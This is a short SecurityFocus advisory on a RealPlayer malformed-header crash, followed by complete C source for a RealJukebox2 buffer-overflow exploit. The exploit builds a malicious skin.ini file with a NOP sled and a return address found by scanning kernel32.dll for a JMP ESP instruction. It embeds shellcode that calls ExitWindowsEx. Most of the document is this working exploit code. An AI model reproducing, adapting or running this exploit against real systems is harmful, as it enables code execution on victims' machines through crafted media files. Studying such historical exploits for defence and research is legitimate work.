source: http://www.securityfocus.com/bid/3809/info

RealPlayer is a software package distributed and maintained by Real Media. It is available for Microsoft Windows, Unix, and Linux.

A problem with the handling of file format may make it possible to remotely crash RealPlayer. The problem could also potentially result in code execution.

Upon receiving a file with a malformed header, it is possible to crash the RealPlayer client. A file that specifies a content length greater than the actual size creates a circumstance where RealPlayer reacts unpredictably and becomes unstable. This usually results in the crashing of RealPlayer. This problem may also make it possible to execute arbitrary code.

/*===========================================================
   RealJukebox2 1.0.2.379 Exploit
     for Windows Windows2000 Professional (Service Pack 2)
   The Shadow Penguin Security (http://www.shadowpenguin.org)
   Written by UNYUN ([email protected])
  ============================================================
*/

#include <stdio.h>
#include <windows.h>

#define MAXBUF          4096
#define KERNEL_NAME     "kernel32.dll"
#define SKIN_INI        "skin.ini"
#define INI_FILE \
"[MAIN]\n"\
"Application=RealJukebox\n"\
"Version=2\n"\
"SkinFamilyCount=5\n"\
"\n"\
"CONTROL1Image=%s\n"

#define NOP             0x90
#define FAKE_OFS1       36
#define FAKE_VAL1       0x7FFDF0F0
#define RETADR_OFS      28
#define CODE_OFS        60
#define RETADR_2000pro  0x77e0af64

static unsigned char egg_2000pro[512]={
  0xB8,0xA5,0xFA,0xE1,0x77,0x33,0xDB,0xB3,
  0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD,
  0x00
};

unsigned int search_mem(unsigned char *st,unsigned char *ed,
                unsigned char c1,unsigned char c2)
{
    unsigned char   *p;
    unsigned int    adr;

    for (p=st;p<ed;p++)
        if (*p==c1 && *(p+1)==c2){
            adr=(unsigned int)p;
            if ((adr&0xff)==0) continue;
            if (((adr>>8)&0xff)==0) continue;
            if (((adr>>16)&0xff)==0) continue;
            if (((adr>>24)&0xff)==0) continue;
            return(adr);
        }
    return(0);
}

void valset(char *buf,unsigned int val)
{
    buf[0]=val&0xff;
    buf[1]=(val>>8)&0xff;
    buf[2]=(val>>16)&0xff;
    buf[3]=(val>>24)&0xff;
}

int main(int argc,char *argv[])
{
    FILE            *fp;
    char            buf[MAXBUF];
    unsigned int    tgt,exw;
    unsigned char   *kp;

    if ((fp=fopen(SKIN_INI,"wb"))==NULL){
        printf("Can not write file.\n");
        exit(1);
    }
    memset(buf,NOP,sizeof(buf));
    buf[sizeof(buf)-1]='\0';

    if ((kp=(unsigned char *)LoadLibrary(KERNEL_NAME))==NULL){
        printf("Can not find %s\n",KERNEL_NAME);
        exit(1);
    }
    tgt=search_mem(kp,kp+0x100000,0xff,0xe4);
    if (tgt==0) tgt=RETADR_2000pro;
    printf("kp            = 0x%x\n",kp);
    printf("JMP ESP addr  = 0x%x\n",tgt);
    exw=(unsigned int)ExitWindowsEx;
    printf("ExitWindowsEx = 0x%x\n",exw);

    valset(buf+FAKE_OFS1,FAKE_VAL1);
    valset(buf+RETADR_OFS,tgt);
    valset(egg_2000pro+1,exw);
    strncpy(buf+CODE_OFS,egg_2000pro,strlen(egg_2000pro));

    fprintf(fp,INI_FILE,buf);
    fclose(fp);
    printf("Created '%s'.\n",SKIN_INI);
    return(0);
}